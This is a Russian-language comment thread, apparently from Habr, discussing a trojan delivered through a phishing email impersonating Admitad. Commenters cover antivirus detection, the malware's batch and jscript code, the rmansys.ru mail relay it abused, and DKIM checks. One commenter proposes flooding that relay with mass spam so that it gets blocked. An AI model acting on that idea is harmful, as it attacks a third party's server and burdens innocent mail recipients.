            13.04.2016 05:32

            jok40 причем тут результат с Virustotal? Там обычно используется скантайм проверка(сигнатурный анализ, редко эмуляция->эвристика), а тут детект в динамике. PDM — это проактивка(рантайм детект). Из ваших последних постов становится очевидным, что вы не очень шарите в той теме, которую разбирали.

            DjOnline там на скриншоте отчетливо видно, что сигнатура KSN добавлена на бинарь run.exe, а не на jscript лоадер. Имея достаточный опыт в разборе малвари(в том числе и скриптового треша), мне достаточно было посмотреть на код чтобы сказать какой там может быть детект. Я бы на вашем месте не стал спорить с мнением эксперта, который разбирает подобные сэмплы как семечки ;D

            P.S: Этот лоадер нагло скомунижен с легитимного jscript фреймворка двух(/трех) летней давности (http://forum.script-coding.com/viewtopic.php?id=8865), об этом мне в telegram сообщил автор данного фреймворка. Впрочем сложно было ожидать от школоты чего то стоящего.


            1. DjOnline
              13.04.2016 13:13

              Из скриншота непонятно, что вызвало детект jsloader — он сам (с помощью эвристики), или то что этот лоадер грузил run.exe на который уже есть сигнатура, что привело и к детекту jsloader.

              Поэтому задам вопрос автору топика — что за касперский стоял и почему эта хрень прошла, если egyp7 утверждает что не должна была пройти.


              1. jok40
                13.04.2016 20:03
                +1

                Созвонился сейчас с знакомым:

                — Посмотри — какой у тебя антивирус?
                — Антивирус Касперского 2013.
                — Глянь-ка в настройки — мониторинг активности включен?
                — Выключен.
                — Ну и как это произошло?
                — Да хрен его знает…
                — А остальное то хоть включено?
                — Включено.

                Вот и весь разговор.


                1. DjOnline
                  14.04.2016 00:16

                  Жесть, то есть он работал с финансами при выключенном антивирусе. Я надеюсь он хоть сам его выключил, а не вирус?


                1. dartraiden
                  14.04.2016 02:07

                  В продуктах «Лаборатории Касперского» обнаружение программ для удалённого управления компьютером по умолчанию, к сожалению, отключено. Включается (по памяти пишу) в Настройках > Угрозы и исключения.


                1. navion
                  14.04.2016 14:58
                  +2

                  В Касперском часто глючат продвинутые функции мониторинга и, вообще, большие проблемы с QA, не удивительно что их выключают.
                  Недавно поставил на пробу Kaspersky Free и через пару недель столкнулся с жуткими тормозами Firefox при включенном антивирусе.


      1. OnelaW
        12.04.2016 18:02
        +1

        Не все контрацептивы одинаково полезны (с). Бывает не спасает когда весь трафик сканируется двумя антивирусными модулями, стоит песочница, у антивируса стоит защита от изменения конфигураций и прочие защиты.

        От заразы во вложениях не спасает и навороченный почтовый антивирь. Сколько раз сталкивался. Бла-бла-ба компания «Джамшуттелеком» уведомляет о задолженности, бла-бла-бла счет во вложении.


        1. Elph
          20.04.2016 16:46
          -1

          Зачем такие бла-бла-бла открывать? Если очень хочется, для них у меня есть PlayBook и какой то планшет на адроиде. Отправляю туда и там смотрю.


    1. AndreyUA
      12.04.2016 18:05

      И позор Admitad, если их сломали люди, которые написали этот троян.


      1. Pakos
        13.04.2016 12:27

        Скорее нет, поломавшие продали или выкинули пользованную слитую базу, которую подобрали эти шкодники.


    1. kafeman
      12.04.2016 20:40

      Еще стиль именования в этом JS слишком разный. Что наводит на мысли о копипасте.


  1. Seven-ov
    12.04.2016 10:13

    Очень интересно, когда-нибудь дойдет прогресс до того, что бы подобные расследования тянули за собой открытие «дела» в органах правопорядка, доследование, поиск и наказание виновных…


    1. vilgeforce
      12.04.2016 10:20
      +1

      Дойдет, когда для заведения уголовного дела не нужно будет писать заявление, а достаточно будет сообщения в открытых источниках. Пока без заявлений никто не работает несмотря на тысячи случаев заражения.


      1. ihoc
        12.04.2016 11:12
        +1

        У нас и по заявлению не работают. В моей жизни были случаи отказа о возбуждении уголовного дела и по заявлению (по краже 2 раза подряд, один и тот же участковый). Помогло обращению в прокуратуру


    1. Chumicheff
      12.04.2016 10:56
      -1

      Неплохо было бы еще и называть тех, кто дает этим троянам так просто запускаться на рабочей машине. А то дальше «журения» дело не доходит.


  1. Yavanosta
    12.04.2016 10:44
    +2

    ping localhost -10

    Обычо используется для создания задержки. Каждый пинг будет занимать около секунды, соответственно задержка на 10 секунд.


    1. jok40
      12.04.2016 10:53
      +3

      Под Windows команда ping не понимает опцию '-10' и в ответ просто выкатывает хелп.


      1. Tab10id
        13.04.2016 01:14
        +1

        очевидно, автор этого не знал (множественные попытки удаления файлов сделаны по причине того, что ping не сработал)


        1. vadoo
          13.04.2016 12:34

          А как это взаимосвязано?


          1. Frankenstine
            13.04.2016 14:39
            +4

            Вероятно, батник допиливался школоло на коленке, методом тыка, пока не заработал приблизительно как хотелось автору «щедевра» :)


    1. redmanmale
      12.04.2016 18:12

      Надо было ping localhost -n 10


  1. dmitry_dvm
    12.04.2016 11:24
    +8

    Люблю такие детективы.


  1. mayorovp
    12.04.2016 11:29
    +3

    Не было мысли засыпать хакеров миллионом фейковых писем об установке? Делать быстро это не обязательно — напротив, лучше методично слать по письму в минуту (со случайным интервалом времени) в течении месяца-двух. Чтобы новые случаи установки в потоке мусора не были видны.


    1. jok40
      12.04.2016 11:53
      +1

      Смысла особого нет. Во-первых, ящик можно сменить на другой. А может их и так не один, а много. Во-вторых, в одном из заголовков полученного письма светится ip, с которого приехал запрос к php — если адрес будет одним и тем-же, то такие письма легко отфильтровать.


    1. jok40
      12.04.2016 14:43
      -1

      Я тут немного поразмыслил и решил, что нужно поступить как раз наоборот: организовать массовый поток писем через эти ворота на самые разные адреса бесплатных почтовиков. Причём хорошо бы, если бы на сам сервер rmansys.ru этот поток приходил с разных адресов. Последствий подобной атаки мне видится два: либо господа из rmansys.ru изменят что-нибудь в своём скрипте так, чтобы им не могли пользоваться без авторизации, либо почтовики просто заблочат данный IP за распространение спама.


      1. RomanPyr
        16.04.2016 17:17
        +2

        а не проще им написать об этом и объяснить ситуацию?


        1. jok40
          17.04.2016 11:58
          +1

          Да, сначала у меня была такая мысль. Но потом я вбил в поиск «inet_id_notify.php» и понял, что релей существует и используется троянами уже много лет. Мало вероятно, чтобы господа из rmansys.ru были не в курсе подобного использования их детища.


          1. MichaelBorisov
            19.04.2016 19:58

            Может, они уволили сисадмина в рамках оптимизации расходов? И там просто некому понять, о чем идет речь?


            1. jok40
              20.04.2016 09:44

              Вряд ли. Форум у них вполне живой: народ задаёт вопросы и получает достаточно квалифицированные ответы.


  1. Pude
    12.04.2016 12:08
    +4

    Получал такое много раз от разных партнерок но мне не разу в голову не приходило открывать а если уж и завернуто красиво и важно то уточняю у партнерки.
    Сейчас нельзя доверять почтовым отправлениям.


    1. a1ien_n3t
      12.04.2016 13:27

      Можно. Просто проверяйте DKIM и адрес домена с которого пришло. И что подпись DKIM совпадает. Так можно очень много дряни отсеить.


      1. Moon_darker
        12.04.2016 14:10

        Можно. Только вот в случае из статьи не прокатило — ведь письма отправлены с сервера компании, с действующим DKIM и правильным доменом. И так же может не прокатить и в другом случае :c


        1. a1ien_n3t
          12.04.2016 14:28
          +1

          В статье ничего не сказанно про то, что письма с архивом пришли с сервера компании. Это только уведомление об установке МОГЛО быть подписанно, так-как это просто информационное письмо.


          1. jok40
            12.04.2016 14:50

            Да, верно. Письмо было с адреса 'Admitad Support <admitad@dx32.ru>'. Я посканил этот dx32.ru Nmap-ом на предмет открытых портов — количество портов, открытых всем ветрам, зашкаливало. Похоже на один из заражённых узлов бот-сети.


      1. Pude
        12.04.2016 14:36

        Не во всех рассылках партнерок он используется.
        Но можно пытаться смотреть заголовки через них можно понять фишинг это или нет.


        1. Pude
          12.04.2016 14:46

          вот занимательная статья по DKIM https://xakep.ru/2012/10/25/59533/


          1. ksil
            13.04.2016 11:13

            из статьи так и не понятно, взяли ли его в гугл?


  1. Alexufo
    12.04.2016 17:57

    Пацанва, Process Monitor от Руссиновича штука клевая, но Process hacker умеет закрывать процессы с зажатым шифтом без всяких батников. Вобщем, я давно на него сам перешел. Так же бесплатен.


  1. Scf
    12.04.2016 22:47
    +2

    Почему вы думаете, что это было написано непрофессионалами? Троян простой, эффективный и, главное, использует только стандартные фичи ОС и белый софт. Т.е. лучше совместимость с разными версиями ОС и меньше шансов быть перехваченным проактивной защитой.


    1. zirix
      13.04.2016 10:57

      Этот rom требует права через UAC + его знают все антивирусы. Отдачи от своего велосипеда будет на пару порядков больше.

      В общем обычная поделка которыми торгуют на всяких хакерский сайтах.


  1. openbsod
    13.04.2016 06:04
    +1

    2 jok40 Тесен мир… Работаю в компании, имеющей косвенное отношение к технической стороне функционирования zalivalka.ru Отправил Вашу статью всем for who it may concern. Уверен, Ваше расследование поможет коллегам сделать «заливалку» чище. И спасибо Вам — необычное чувство читать о ситуации, с которой сталкиваешься каждый день, чтение перемежается воспоминаниями разного рода «а вот тогда… да, залили к ним снова нечто, пачка затем абуз пришла… ну и /21 потом долго из EDROP'а обратно доставали, да»


    1. qw1
      16.04.2016 23:57
      +1

      Похоже, на заливалке всем пофиг. Я свободно скачал трояна по ссылке из статьи.
      К слову, Microsoft Security Essentials его уже детектирует.


      1. openbsod
        18.04.2016 06:20

        Ваш браузер не ругается при попытке входа на заливалку? Большой красный баннер на пол экрана «Имеется информация, что эта страница содержит… etc»?


        1. qw1
          18.04.2016 14:12

          Я всегда отключаю подобную цензуру. Как-нибудь сам разберусь, куда можно заходить, куда нельзя.


  1. Dusty77
    13.04.2016 10:57

    Непонятно какой цели добивался ботовод.


    1. jok40
      14.04.2016 09:12

      Что-ж тут непонятного? Судя по вот этому посту с форума Admitad, целью было, как это ни банально звучит, кража денег.


  1. Elph
    13.04.2016 11:25

    «что предполагалось сделать командой «ping localhost -10»»
    Обычно делается в командном файле когда надо сделать некоторую задержку перед выполнением следующей.


    1. kafeman
      13.04.2016 11:33

      1. Elph
        14.04.2016 14:22

        Ну да, не прочел все-все-все комменты. Каюсь. Сам все успеваешь? Завидую.


        1. kafeman
          14.04.2016 14:34
          +2

          На Хабрахабре — да, за этим и хожу сюда. И ссылку дал, чтобы не обсуждали одну тему в двух местах одновременно.


          Если вы так из-за минуса переживаете, то его поставил вам не я. Сейчас добавил «+», чтобы вернуть в нейтральный 0.


  1. Pakos
    13.04.2016 12:43

    Это Вам повезло что только romserver — чистил тут соседскую машину от бота, который ставил софт быстрее, чем я его сносил. Попытки пристрелить само тело заканчивались неработоспособным DNS и откатом на точку восстановления, которая уже была с установленным комплектом трояна (но работоспособным DNS). Заняло час в первый день и полтора во второй (22 часа, комп тормознутый, зоопарк его ещё больше нагружает — больше любовался на экран загрузки и песочные часы). В первый раз полечил, но «они вернулись». Пришлось добивать — прилетели из инструкции по разборке какого-то автомобильного узла (PDF открылся и даже нужный, но «довесок» поставился и был обнаружен по баннерам «увеличь» в браузерах, пару дней закрывали, а потом поняли что не отстанет).


  1. federalkosmos
    13.04.2016 20:09

    В чём причина такого трепетного отношения автора(ов) трояна к «Авасту», что даже есть блок 'If then… else...'?


    1. federalkosmos
      13.04.2016 23:11

      Поправлюсь
      If «Аваст установлен» then «код» else «другой код»


    1. dartraiden
      14.04.2016 02:02

      Возможно, «автор» трояна тестировал его на разных антивирусных продуктах. И именно «Аваст» мешал его детищу работать.


      1. Pakos
        14.04.2016 17:24
        +1

        Или автор только его смог «скочать бесплатно». Боюсь, это так и останется его тайной.